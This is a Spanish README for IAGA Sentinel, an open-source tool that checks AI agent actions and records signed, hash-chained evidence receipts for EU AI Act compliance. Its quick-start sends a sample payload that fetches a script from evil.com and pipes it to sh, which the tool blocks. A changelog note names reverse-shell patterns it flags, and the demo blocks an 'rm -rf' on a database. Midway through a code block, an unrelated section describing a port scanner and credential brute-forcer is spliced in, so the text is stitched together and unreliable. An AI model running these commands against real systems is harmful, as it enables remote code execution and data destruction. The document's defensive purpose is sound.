
IAGA-Sentinel v2.1.0
Capa de evidencia criptográficamente firmada y verificable mediante repetición para agentes de IA. Gobierna las acciones en el bucle, produce recibos firmados con Ed25519 enlazados en un registro de apéndice encadenado por hash, y soporta el mantenimiento de registros del Artículo 12 de la Ley de IA de la UE y la documentación del Anexo IV.
IAGA Sentinel
La capa de evidencia de conformidad con la Ley de IA de la UE para agentes de IA.
Evidencia firmada criptográficamente y verificable mediante reproducción de cada acción que un agente enruta a través de ella, estructurada para respaldar el mantenimiento de registros del Artículo 12 de la Ley de IA y la documentación del Anexo IV.
Documentación · Configuración en un solo prompt · Inicio rápido · Configuración de agente autónomo · Comunidad vs Empresa · Quiénes somos · Licencia
Construido en la UE por tres fundadores (francés, alemán, italiano) y validado por investigación, no por marketing: revisado por pares en AISEC 2026, Marrakech.
Configuración en un solo prompt
Pégalo a tu agente de codificación. Lee AGENTS.md y hace el resto: compila el binario, deriva tus reglas, te pide que las apruebes, inicia el servidor, se conecta a sí mismo a través de MCP y realiza dos llamadas en vivo que verás aterrizar en el panel.
```text copy the repo here https://github.com/IAGA-TEAM/IAGA-Sentinel and follow the AGENTS.MD STEP BY STEP ```Se detiene y espera por ti dos veces: una para que apruebes las reglas que aplicará, y otra para confirmar que puedes ver las llamadas.
…y salir con un solo comando
Salir es tan fácil como entrar, y te muestra lo que hará antes de hacerlo.
```powershell .\scripts\uninstall.ps1 # dry run: lists exactly what it would remove .\scripts\uninstall.ps1 -Yes # remove the install ```
El gemelo .sh acepta --yes. Se niega a ejecutarse mientras un proceso gobernado
siga activo, y conserva tu clave de firma a menos que lo pidas explícitamente —
elimínala y cada recibo que hayas exportado se vuelve permanentemente inverificable.
No hay cuenta que cerrar, ni demonio que quede atrás, ni telemetría: toda la instalación es
una base de datos, un archivo de políticas y una clave que te pertenece.
Qué es IAGA Sentinel
Los agentes de IA tocan el shell, el sistema de archivos, las bases de datos, las API de terceros y los secretos. Cuando un regulador, un auditor o tu propio DPO te pide que demuestres qué hizo un agente, y que pruebes que el registro no fue alterado después del hecho, la mayoría de los equipos no tienen nada que mostrar. IAGA Sentinel produce esa prueba: se sitúa junto a tu pila de agentes (sidecar HTTP, proxy MCP o iaga run) y convierte cada veredicto de gobernanza en un recibo firmado con Ed25519 enlazado a un registro de apéndice encadenado por hash, verificable sin conexión, con veredictos reproducibles (deterministas bajo pesos de riesgo fijos) y detección de desviaciones basada en reproducción. El registro está estructurado para respaldar el mantenimiento de registros del Artículo 12 de la Ley de IA de la UE y para ayudar a producir la documentación técnica del Anexo IV que necesita un sistema de alto riesgo.
[!IMPORTANT] IAGA Sentinel gobierna en el bucle y sella de forma sólida. Los veredictos se calculan antes de que una acción proceda; con
iaga runun proceso bloqueado nunca se inicia y uno permitido se confina directamente — secretos eliminados de su entorno, sin volcados de núcleo, sin escalada de privilegios, recolectado junto con su proceso padre. La evidencia firmada y la reproducción sin conexión son reales y verificables ahora, desde una copia limpia del repositorio. El confinamiento a nivel de kernel (mediación de syscalls y red con eBPF/LSM) es el nivel Enterprise y no está en esta compilación abierta:iaga kernel statusinforma la postura con honestidad, y cada recibo llevais_authoritative: false. No comercializamos una aplicación de cumplimiento que no proporcionamos.

Cada veredicto de gobernanza se convierte en un recibo firmado, sellado con Ed25519 y enlazado al registro encadenado por hash.
Qué lo hace diferente:
- Prueba, no testimonio. Recibos con Ed25519 + cadena de hash, verificables sin conexión con el binario independiente
iaga-verify: sin servidor, sin red, sin necesidad de confiar en IAGA. - Postura honesta. La postura de cumplimiento se registra dentro de la propia evidencia firmada (
is_authoritative: false), no enterrada en una nota al pie. - Autoalojado, sin proveedor en el bucle. Se ejecuta completamente autoalojado o aislado de la red; BUSL-1.1 se convierte automáticamente a Apache-2.0; ningún servicio operado por IAGA conserva una copia de tu evidencia.
- Conforme a la Ley de IA de la UE. Los recibos se alinean con el registro del Artículo 12; las políticas tipadas Dictum documentan tus controles de riesgo.
Inicio rápido
La vista más rápida. Compila la imagen desde el Dockerfile incluido y ejecútala con datos de demostración ya
sembrados — sin necesidad de toolchain de Rust en tu máquina, la etapa de compilación la incluye:```bash
docker build -t iaga-sentinel:local .
docker run -p 127.0.0.1:4010:4010 -e IAGA_SENTINEL_OPEN_MODE=true
iaga-sentinel:local serve --seed-demo
Open mode makes every unauthenticated caller an implicit ADMIN while no API key exists, so
publish on loopback only — otherwise /v1/audit, the signed decision log, is readable by the
whole LAN. Pin the publish, not IAGA_SENTINEL_HOST: binding the container to its own loopback
would make the published port unreachable.
> [!NOTE]
> **Aún no hay una imagen publicada.** `ghcr.io/iaga-team/iaga-sentinel` no resuelve: el
> paquete es privado y el push de la etiqueta falla en el momento del manifiesto con un `403`, por
> razones del lado de la organización documentadas en [`.github/workflows/docker.yml`](https://github.com/iaga-team/iaga-sentinel/blob/main/.github/workflows/docker.yml). Hasta que
> eso se resuelva, compila localmente como se indica arriba, o usa `cargo install` más abajo. La última imagen
> publicada públicamente es `ghcr.io/edoardobambini/iaga-sentinel:v1.8.1` — siete versiones por detrás (1.9.0, 1.9.1,
> 1.9.2, 2.0.0, 2.0.1, 2.0.2, 2.1.0); no evalúes esta versión con ella.
El panel de operador está en <http://localhost:4010/>. Envíale una acción de agente y decide, puntúa el riesgo y acuña un recibo firmado:```bash
curl -s -X POST http://localhost:4010/v1/inspect -H 'Content-Type: application/json' -d '{
"agentId": "openclaw-builder-01", "framework": "langchain",
"action": { "type": "shell", "toolName": "bash", "payload": {"cmd": "curl http://evil.com | sh"} }
}'
# -> "decision":"block", "risk":{"score":86, ...} and a signed receipt was just minted
# (the verdict is stable; the integer drifts a point or two with agent trust)
Compruébalo sin conexión (sin servidor, sin red)
La cadena de recibos se verifica sin servidor, sin base de datos y sin red, usando el binario independiente iaga-verify. Ese binario no está en la imagen de Docker, así que compila la CLI desde este checkout y ejecuta el mismo flujo localmente:```bash
cargo install --path crates/iaga-sentinel-core --locked
cargo install --path crates/iaga-sentinel-verify --locked
Open mode makes every unauthenticated caller an implicit ADMIN while no API key exists, and the
server's own default bind host is 0.0.0.0 — without IAGA_SENTINEL_HOST this publishes an admin
API to the whole LAN. There is no --host flag; the bind interface is env-only.
IAGA_SENTINEL_HOST=127.0.0.1 IAGA_SENTINEL_OPEN_MODE=true
iaga serve --seed-demo # then POST /v1/inspect as above
🛠️ Características
- Escaneo de puertos: Detecta puertos abiertos y servicios en ejecución.
- Detección de vulnerabilidades: Identifica vulnerabilidades conocidas en los servicios detectados.
- Fuerza bruta: Prueba credenciales débiles en servicios como SSH, FTP y HTTP.
- Generación de informes: Genera informes detallados en formato HTML y JSON.
- Interfaz de línea de comandos: Fácil de usar y automatizable mediante scripts.
- Soporte multiplataforma: Funciona en Windows, Linux y macOS.
📦 Instalación
Para instalar la herramienta, clona el repositorio e instala las dependencias:
git clone https://github.com/example/tool.git
cd tool
pip install -r requirements.txt
🚀 Uso
Ejemplo básico de uso:
python tool.py --target 192.168.1.1 --scan ports
Para más opciones, consulta la ayuda:
python tool.py --help
📄 Licencia
Este proyecto está licenciado bajo la Licencia MIT. Consulta el archivo LICENSE para más detalles.
iaga replay --list # find the run_id
iaga replay <run_id> --export chain.json
iaga-verify chain.json --key <hex-ed25519-pubkey> # -> CHAIN OK
```
> [!NOTE]
> **Fija la clave.** Registra el hex una sola vez desde tu primera exportación
> (`jq -r .signer_verifying_key chain.json`) y pásalo como `--key` a partir de entonces. Sin `--key`
> el verificador recurre a la clave incrustada en el archivo, que solo comprueba que la cadena es
> internamente consistente — un falsificador que la re-firmó también proporcionó esa clave. El verificador lo indica en
> stderr y estampa `key=embedded` en la línea `CHAIN OK`.
>
> Los comandos anteriores instalan desde este checkout. Para instalar sin clonar, usa la etiqueta de release:
> `cargo install --git https://github.com/IAGA-TEAM/IAGA-Sentinel --tag v2.1.0 --locked iaga-sentinel-core iaga-sentinel-verify`.
> Para comprobar una cadena sin compilar nada, usa los verificadores sin dependencias:
> `python sdks/python/iaga_verify.py chain.json --key <hex-ed25519-pubkey>` y
> `node sdks/typescript/verify.mjs chain.json --key <hex-ed25519-pubkey>`.
Postgres (`--features postgres` + `DATABASE_URL`) y `docker compose up -d` están cubiertos en la documentación.
---
## Uso y configuración totalmente autónoma con agentes
IAGA Sentinel está diseñado para ser **levantado por un agente de IA por sí mismo** — sin necesidad de un runbook humano. Coloca este
repositorio en una herramienta de codificación agéntica (Claude Code, Cursor, OpenClaw o cualquier cliente MCP) y apúntala a
[`AGENTS.md`](https://github.com/iaga-team/iaga-sentinel/blob/main/AGENTS.md): el agente lee sus propios archivos de memoria/instrucciones, deriva las reglas operativas
que ya porta, las codifica como una política **Dictum** tipada y — una vez que las apruebas — levanta el
panel de control, se conecta a través de **MCP** y pone sus propias acciones bajo gobernanza. Cada llamada de herramienta
que realiza a partir de entonces se comprueba (permitir / revisar / bloquear) y se sella en un recibo firmado *antes* de actuar.
El bucle es humano-en-el-bucle por diseño — dos compuertas:
1. **Apruebas las reglas.** El agente las deriva de su memoria, las muestra en lenguaje sencillo (cada una
citando su fuente) y espera. Nada se aplica hasta que dices *adelante*.
2. **Lo ves trabajar.** Realiza dos llamadas de prueba en vivo; las ves aterrizar en el panel de control en
<http://localhost:4010/> en tiempo real y, una vez que confirmas, te saluda.
Un solo comando ejecuta todo el bucle mecánico de forma no interactiva — build → política → servir → auto-conexión
a través de MCP → dos llamadas de prueba gobernadas → prueba offline:```bash
./scripts/agent_bootstrap.sh # Linux/macOS (needs jq)
.\scripts\agent_bootstrap.ps1 # Windows
```
El detalle que lo hace real: el agente pasa el **mismo `--policy` tanto a `iaga serve` como a
`iaga mcp-server`**, por lo que la política que él mismo redactó gobierna las llamadas que realiza a través de MCP — no solo
las que escribe un humano. Procedimiento completo vigente: [`AGENTS.md`](https://github.com/iaga-team/iaga-sentinel/blob/main/AGENTS.md).
---
## Pruébame ahora (2.1.0)
No te fíes de nuestra palabra. El repositorio incluye un kit de demostración autocontenido que genera tres veredictos reales a través del pipeline en vivo y prueba el recibo sin conexión, en tu propia máquina. Nada está falseado, y obtienes los mismos veredictos en cada ejecución (los veredictos son estables; los enteros de riesgo exactos varían ligeramente con la confianza del agente, que el pipeline actualiza tras cada acción). Dos scripts en [`scripts/`](https://github.com/iaga-team/iaga-sentinel/blob/main/scripts) y un runbook en [`docs/demo/README.md`](https://github.com/iaga-team/iaga-sentinel/blob/main/docs/demo/README.md). La ruta principal es Windows PowerShell; Linux y macOS usan los gemelos `.sh`.
Abre dos terminales. **La terminal A** inicia el servidor: compila los binarios, borra la base de datos de demostración para obtener una semilla idéntica y sirve el panel en `:4010`.```powershell
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force
cd path\to\IAGA-Sentinel
.\scripts\demo.ps1 -Build
```
Espera el banner verde `READY` y `DASHBOARD -> http://localhost:4010/`. Abre esa URL en un navegador y haz clic en la pestaña **Live feed**. Luego, la **Terminal B** dirige la demo:```powershell
cd path\to\IAGA-Sentinel
.\scripts\demo_run.ps1
```
Paced for the camera, you will watch three real verdicts land in the dashboard Live feed and the terminal at the same time:
- **Beat 1, ALLOW** (risk 2): a safe repository read, recorded.
- **Beat 2, REVIEW** (risk 40): a shell command that needs a production secret, opened as a pending review request for a human.
- **Beat 3, BLOCK** (risk 81): `rm -rf` on the database, denied with a signed receipt that proves it (`/v1/inspect` returns the verdict; `iaga run` blocks a launch outright).
- **The proof.** The three signed receipts export as one hash-chained run and `iaga-verify` prints `CHAIN OK` with no server, no database and no network. The final receipt attests the Block.
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/13896/cbf7f0102fa254236cba9efb9e17e7a6ec43449b900642ef7b290c791d53fb09.gif" alt="Animated isometric flow: signed receipts stack and seal into a single verified root" width="760" /><br />
<sub>From action to sealed, verifiable evidence.</sub>
</p>
The driver asserts every verdict, so a non-deterministic run can never be recorded. To redo a clean take, stop the server with `Ctrl+C` and re-run `demo.ps1` (it re-seeds from scratch).
On Linux and macOS the flow is identical (the driver needs `curl` and `jq`):```bash
./scripts/demo.sh --build # terminal A
./scripts/demo_run.sh # terminal B
```
Disposición de la ventana, leyendas y un presupuesto de tiempo de 75 a 100 segundos están en [`docs/demo/README.md`](https://github.com/iaga-team/iaga-sentinel/blob/main/docs/demo/README.md).
---
## Documentación
**Todo vive en [www.iaga.tech/docs](https://www.iaga.tech/docs):** el tutorial completo de cero a evidencia verificada, integraciones de frameworks (LangChain, Claude Code, MCP y 12 más), el lenguaje de políticas Dictum, control de costos y presupuestos, claves API y alcances, configuración y variables de entorno, la lista de verificación de producción y solución de problemas.
En este repositorio:
- [`AGENTS.md`](https://github.com/iaga-team/iaga-sentinel/blob/main/AGENTS.md): la referencia completa de operador y agente — compilar, ejecutar, conectar un agente por HTTP o MCP, el lenguaje Dictum, la CLI, las variables de entorno y los errores comunes
- [`CHANGELOG.md`](https://github.com/iaga-team/iaga-sentinel/blob/main/CHANGELOG.md): notas de versión · [`docs/releases/`](https://github.com/iaga-team/iaga-sentinel/blob/main/docs/releases): los informes más extensos por versión
- [`docs/openapi.yaml`](https://github.com/iaga-team/iaga-sentinel/blob/main/docs/openapi.yaml): la especificación completa de la API HTTP
- [`docs/adr/`](https://github.com/iaga-team/iaga-sentinel/blob/main/docs/adr): registros de decisiones de arquitectura — comience en [0010](https://github.com/iaga-team/iaga-sentinel/blob/main/docs/adr/0010-oss-enterprise-boundary.md) para el límite OSS↔Enterprise
- [`charts/iaga-sentinel/README.md`](https://github.com/iaga-team/iaga-sentinel/blob/main/charts/iaga-sentinel/README.md): despliegue con Helm, fijación de etiquetas de imagen y cómo revertir una migración
- [`plug-ins/`](https://github.com/iaga-team/iaga-sentinel/blob/main/plug-ins): complementos en el bucle — publicados ([VoltAgent](https://github.com/iaga-team/iaga-sentinel/blob/main/plug-ins/voltagent-plugin), [Letta](https://github.com/iaga-team/iaga-sentinel/blob/main/plug-ins/letta-plugin)) más integraciones `*-adapter/` para 15 frameworks adicionales
- [`sdks/`](https://github.com/iaga-team/iaga-sentinel/blob/main/sdks): SDKs de Python y TypeScript
- [`SECURITY.md`](https://github.com/iaga-team/iaga-sentinel/blob/main/SECURITY.md) · [`DATA_HANDLING.md`](https://github.com/iaga-team/iaga-sentinel/blob/main/DATA_HANDLING.md) · [`CONTRIBUTING.md`](https://github.com/iaga-team/iaga-sentinel/blob/main/CONTRIBUTING.md)
---
## Comunidad vs Enterprise
Este repositorio es la compilación abierta: el núcleo de evidencia verificable por código fuente, con recibos firmados, verificación y reproducción fuera de línea, el motor de políticas Dictum, aplicación multiplataforma en espacio de usuario, firma BYOK, razonamiento ONNX BYO y control de costos. Cada afirmación es reproducible desde una copia limpia: `git clone && cargo test --workspace`.
IAGA Sentinel Enterprise es una edición comercial planificada, actualmente en desarrollo, diseñada para añadir capacidades gestionadas, específicas de plataforma y de entrega de cumplimiento: generación de expedientes del Anexo IV, firmas cualificadas, SSO/RBAC/multi-tenant, integraciones nativas con SIEM y KMS, aplicación autoritativa a nivel de kernel y paquetes de modelos seleccionados. Estas son direcciones planificadas, no funciones en producción, y nada aquí es una oferta de venta. El límite público está documentado en [ADR 0010](https://github.com/iaga-team/iaga-sentinel/blob/main/docs/adr/0010-oss-enterprise-boundary.md); la visión general está en [`ENTERPRISE.md`](https://github.com/iaga-team/iaga-sentinel/blob/main/ENTERPRISE.md).
Hoy, IAGA Sentinel es un proyecto de código fuente disponible (BUSL-1.1) y un esfuerzo de investigación; la edición Enterprise aún no está disponible para su compra. Si desea seguirlo y obtener acceso anticipado cuando se abra, deje su correo electrónico en `[email protected]` — sin compra, sin compromiso, solo información anticipada.
---
## Quiénes somos
La infraestructura para una regulación de la UE es una cuestión de quién la construye. IAGA Sentinel está construido en la UE por un equipo fundador europeo, multilingüe y nativo de los sectores regulados que gobierna la Ley de IA. Las afirmaciones a continuación se declaran como hechos, con enlaces para verificarlas: la misma postura que lleva cada recibo.
- **William Petteni** (CEO, 20, francés). Comercial y estrategia. Cursa un doble título en ingeniería mecánica e informática, con amplias redes en los sectores regulados de la UE.
- **Justus Moritz Bohr** (CPO, 19, alemán). Producto y negocio. Fundador por tercera vez, más de 4 años en desarrollo de negocio; lidera el producto para el Anexo IV y la experiencia de usuario regulatoria.
- **Edoardo Bambini** (CTO, 21, italiano). Ingeniero de software e investigador independiente; autor del artículo de AISec 2026; arquitecto del núcleo determinista de gobernanza en Rust y de la capa de prueba criptográfica.
Edad promedio 20: más jóvenes que los conjuntos de cumplimiento que pretendemos reemplazar, más mayores que la Ley de IA de la UE a la que nos alineamos. La firma verifica lo mismo de cualquier manera.
El equipo completo está en [www.iaga.tech/team](https://www.iaga.tech/team).
### Investigación
Validado por investigación, no por marketing.
- **Revisado por pares, no autoafirmado.** Un artículo de Edoardo Bambini fue aceptado en AISec 2026, la Conferencia Internacional sobre Inteligencia Artificial y Ciberseguridad, celebrada en Marrakech, Marruecos (próximamente en el número especial de SciMeTech). Presenta el enfoque de IAGA Sentinel para la evidencia de conformidad de agentes de IA autónomos e incluye un estudio de caso sobre la plataforma. Enlace al artículo próximamente; detalles en [www.iaga.tech/research](https://www.iaga.tech/research).
### Reconocimiento
- **École des Ponts.** 1er lugar entre 21 startups en el concurso de startups organizado por la École nationale des ponts et chaussées (École des Ponts).
- **HackRome.** IAGA Sentinel ganó el premio de 1.000 €, y Edoardo Bambini fue nombrado mejor constructor individual de la competición, habiendo entrado, construido y presentado el proyecto por su cuenta.
---
## Estado
> [!NOTE]
> **Nuevo en 1.9.0: integridad de evidencia que puede exigir y rutas de despliegue que se sostienen.** Los recibos ahora pueden ser **fail-closed** (`IAGA_SENTINEL_RECEIPT_FAIL_CLOSED`): con esto establecido, ningún veredicto se envía sin su recibo firmado, y un servidor que no puede construir un registrador de recibos se niega a iniciar. Desactivado por defecto, por lo que la compilación predeterminada y los bytes de recibo no cambian respecto a 1.8.1. `workspaceId` ya no se confía del cuerpo de la solicitud — el alcance de gobernanza se deriva del perfil del agente, y una solicitud que afirma un workspace diferente recibe `403 scope_mismatch` en lugar de ser juzgada por la política de otro workspace. En el lado del despliegue, Compose y el manifiesto de Kubernetes ahora persisten la clave de firma Ed25519 (se regeneraba en cada reinicio, rompiendo la verificación de recibos anteriores), el chart de Helm ya no monta una política vacía sobre la de la imagen, y `IAGA_SENTINEL_BOOTSTRAP_API_KEY` hace que una instalación nueva sea accesible sin un `iaga gen-key` interactivo. Consulte el [CHANGELOG](https://github.com/iaga-team/iaga-sentinel/blob/main/CHANGELOG.md).
> [!NOTE]
> **Nuevo en 1.8.0: confinamiento de espacio de usuario más fuerte + detección de shell inversa.** `iaga run` ahora confina un hijo permitido directamente — `setsid`, sin volcados de núcleo (`RLIMIT_CORE=0`), sin escalada de privilegios (`PR_SET_NO_NEW_PRIVS` en Linux), recolectado con su padre — y la capa de inteligencia de amenazas marca shells inversas (netcat `-e`/`-c`, `bash`/`/dev/tcp`, `socat EXEC`) y `chmod 777` recursivo como críticos. La aplicación sigue siendo **cooperativa / en espacio de usuario**: el confinamiento de kernel eBPF/LSM sigue siendo Enterprise, `iaga kernel status` informa la postura con honestidad, y cada recibo sigue llevando `is_authoritative: false`. La compilación predeterminada y los bytes de recibo no cambian respecto a 1.7.2. Consulte el [CHANGELOG](https://github.com/iaga-team/iaga-sentinel/blob/main/CHANGELOG.md).
> [!NOTE]
> **Nuevo en 1.7.2: el complemento para VoltAgent + un hogar ordenado en `plug-ins/`.** Un nuevo complemento publicado, en el bucle, para [VoltAgent](https://github.com/VoltAgent/voltagent) ([`@iaga-sentinel/voltagent`](https://github.com/iaga-team/iaga-sentinel/blob/main/plug-ins/voltagent-plugin)): una puerta `onToolStart` que lanza `ToolDeniedError` antes de que se ejecute el `execute()` de una herramienta, escaneo opcional de entrada por inyección de prompts y redacción de secretos en la salida de la herramienta, y recibos `CHAIN OK` fuera de línea — verificado de extremo a extremo contra un sidecar real y un modelo real. Las integraciones en el bucle del repositorio se consolidan bajo [`plug-ins/`](https://github.com/iaga-team/iaga-sentinel/blob/main/plug-ins) (`*-plugin/` publicados junto a `*-adapter/` de copiar y pegar). Aditivo y solo documentación para el núcleo: los recibos y la compilación predeterminada son byte-idénticos a 1.7.1. Consulte el [CHANGELOG](https://github.com/iaga-team/iaga-sentinel/blob/main/CHANGELOG.md).
> [!NOTE]
> **Nuevo en 1.7.1: higiene de documentación y honestidad.** Sin cambios en rutas de código ni en el cable — recibos, evaluación de políticas y compilación predeterminada son byte-idénticos a 1.7.0. El banner de arranque y las notas de arquitectura ahora declaran la profundidad real del pipeline (**8 capas**, dos de ellas — sandbox y verificación formal — consultivas y no parte del veredicto) en lugar del antiguo titular de "12 capas"; `.cargo/audit.toml` documenta qué ruta opcional/de tiempo de compilación arrastra cada uno de los tres avisos RUSTSEC ignorados (ninguno está en la compilación predeterminada, re-verificado con `cargo tree`); y el workspace, los manifiestos de SDK y la línea `Licensed Work` de BUSL están alineados con la versión. Consulte el [CHANGELOG](https://github.com/iaga-team/iaga-sentinel/blob/main/CHANGELOG.md).
> [!NOTE]
> **Nuevo en 1.7.0: cierre del backlog OSS.** Dos builtins deterministas de Dictum llegan — `timestamp()` (RFC3339 a epoch, para que las políticas expresen rangos temporales con los operadores numéricos ordinarios) y `sha256()` (hash de contenido). La superficie MCP gana `iaga mcp-doctor` (verificación de salud de cualquier endpoint MCP: handshake, forma del esquema de herramientas y qué llamadas bloquearía el motor de políticas) y el crate `iaga-sentinel-mcp` que expone `iaga::mcp::GovernedTool` para agentes Rust. El **formato** del feed de amenazas se abre (`threat-intel.toml`, cargado vía `IAGA_SENTINEL_THREAT_FEED`; el feed firmado seleccionado sigue siendo Enterprise), la ingesta de SBOM aprende SPDX junto a CycloneDX, y `iaga plugins attest --slsa-level N` emite declaraciones in-toto/SLSA fuera de línea (firmables con DSSE; el nivel lo declara el operador, no se verifica; el subcomando se compila solo con `--features plugin-attestation`, que no está en la compilación predeterminada). Todo aditivo — los recibos de versiones anteriores siguen verificándose byte por byte, y cada recibo OSS sigue siendo `is_authoritative:false`. Consulte el [CHANGELOG](https://github.com/iaga-team/iaga-sentinel/blob/main/CHANGELOG.md).
> [!NOTE]
> **Nuevo en 1.5.6: el lenguaje de políticas ahora es Dictum.** El DSL de políticas tipado (antes APL / Agent Policy Language) se renombra a Dictum de extremo a extremo: la extensión de archivo `.dictum`, el crate `iaga-sentinel-dictum`, la característica de compilación `dictum` y la razón `dictum[...]` registrada en cada evento de auditoría y recibo firmado. El renombrado preserva el comportamiento: el formato de cable del recibo firmado sigue siendo byte-idéntico (el campo `apl_eval_trace` se mantiene). Consulte [ADR 0004](https://github.com/iaga-team/iaga-sentinel/blob/main/docs/adr/0004-dictum-mvp.md) y el [CHANGELOG](https://github.com/iaga-team/iaga-sentinel/blob/main/CHANGELOG.md).
> [!NOTE]
> **Nuevo en 1.5.4: el lenguaje de políticas ahora hace cumplir lo que prometió.** El builtin `secret_ref()` de Dictum realmente detecta credenciales y PII dentro de una carga útil de herramienta (era un marcador de posición que siempre devolvía false), y un nuevo builtin `url_host()` da a una política una lista de permitidos de egreso real por host que también derrota los bypass de dominios de apariencia similar. Tres correcciones del núcleo acompañan: la lista de permitidos de egreso del workspace es consciente de URL, por lo que una URL completa a un host permitido ya no se bloquea en exceso; cada `block` o `review` ahora lleva su causa en el evento de auditoría y el recibo firmado, sin escalada silenciosa; y los recibos firmados se encadenan por hash a través de una sesión, por lo que una ejecución de múltiples pasos forma una cadena de hash a prueba de manipulaciones. Consulte [ADR 0023](https://github.com/iaga-team/iaga-sentinel/blob/main/docs/adr/0023-dictum-secret-detection-host-egress.md) y el [CHANGELOG](https://github.com/iaga-team/iaga-sentinel/blob/main/CHANGELOG.md).
Versión actual: **2.1.0** ([notas de versión](https://github.com/iaga-team/iaga-sentinel/blob/main/CHANGELOG.md)). CI ejecuta la suite completa de pruebas del workspace (predeterminada y `--all-features`), pruebas de recibos con Postgres en vivo, smokes de extremo a extremo de SDK contra un sidecar real y clippy con `-D warnings`. Todo en verde desde una copia limpia.
---
## Agradecimientos
Los complementos de integración de IAGA Sentinel se basan en, y agradecen, el
trabajo de código abierto de otros:
- El proyecto **[VoltAgent](https://github.com/VoltAgent/voltagent)** y sus
mantenedores, por el framework de agentes con el que se integra el complemento para VoltAgent.
- El proyecto **[Letta](https://github.com/letta-ai/letta)** (antes MemGPT) y
sus mantenedores, por el framework de agentes con estado.
- El ecosistema más amplio de **Rust de código abierto** — los cientos de crates sobre los que se construye el binario `iaga`, cada uno acreditado con su licencia en
[`THIRD_PARTY_NOTICES.md`](https://github.com/iaga-team/iaga-sentinel/blob/main/THIRD_PARTY_NOTICES.md).
Estos nombres se usan solo para identificar los proyectos (consulte Marcas comerciales a continuación).
## Marcas comerciales y descargo de responsabilidad
**Descargo de responsabilidad.** IAGA Sentinel es un proyecto independiente. VoltAgent y Letta son
marcas comerciales de sus respectivos propietarios. IAGA Sentinel **no está afiliado
con, respaldado por o patrocinado por** VoltAgent Inc. o Letta. Sus
complementos de integración son integraciones independientes que funcionan con esos frameworks; **no**
los incluyen ni los redistribuyen — usted instala el paquete de cada framework por separado. Consulte
[`TRADEMARKS.md`](https://github.com/iaga-team/iaga-sentinel/blob/main/TRADEMARKS.md).
## Licencia
Código fuente disponible bajo [**Business Source License 1.1**](https://github.com/iaga-team/iaga-sentinel/blob/main/LICENSE) con **Change License Apache-2.0**: copie, modifique y redistribuya libremente, y úselo en producción — la única excepción es ofrecer IAGA Sentinel, o un servicio de gobernanza de agentes de IA sustancialmente similar derivado de él, a terceros como un servicio alojado o gestionado (consulte la Concesión de Uso Adicional en el [LICENSE](https://github.com/iaga-team/iaga-sentinel/blob/main/LICENSE)). Cuatro años después de que se publique cada versión, esa versión se convierte automática e irrevocablemente a Apache-2.0; la conversión está escrita en la propia licencia.
**Sin garantía, sin responsabilidad.** IAGA Sentinel se proporciona **"TAL CUAL"**, sin garantía y sin responsabilidad por daños. Es una capa *consultiva* (cada recibo está sellado con `is_authoritative: false`) — no hace cumplir ni garantiza nada por sí mismo, y **usted es responsable de probarlo y validarlo antes de confiar en él en producción**. Consulte [DISCLAIMER.md](https://github.com/iaga-team/iaga-sentinel/blob/main/DISCLAIMER.md) y la sección *Limitación de Responsabilidad* del [LICENSE](https://github.com/iaga-team/iaga-sentinel/blob/main/LICENSE).
Repositorio: <https://github.com/IAGA-TEAM/IAGA-Sentinel> · Documentación: <https://www.iaga.tech/docs> · Contacto: `[email protected]`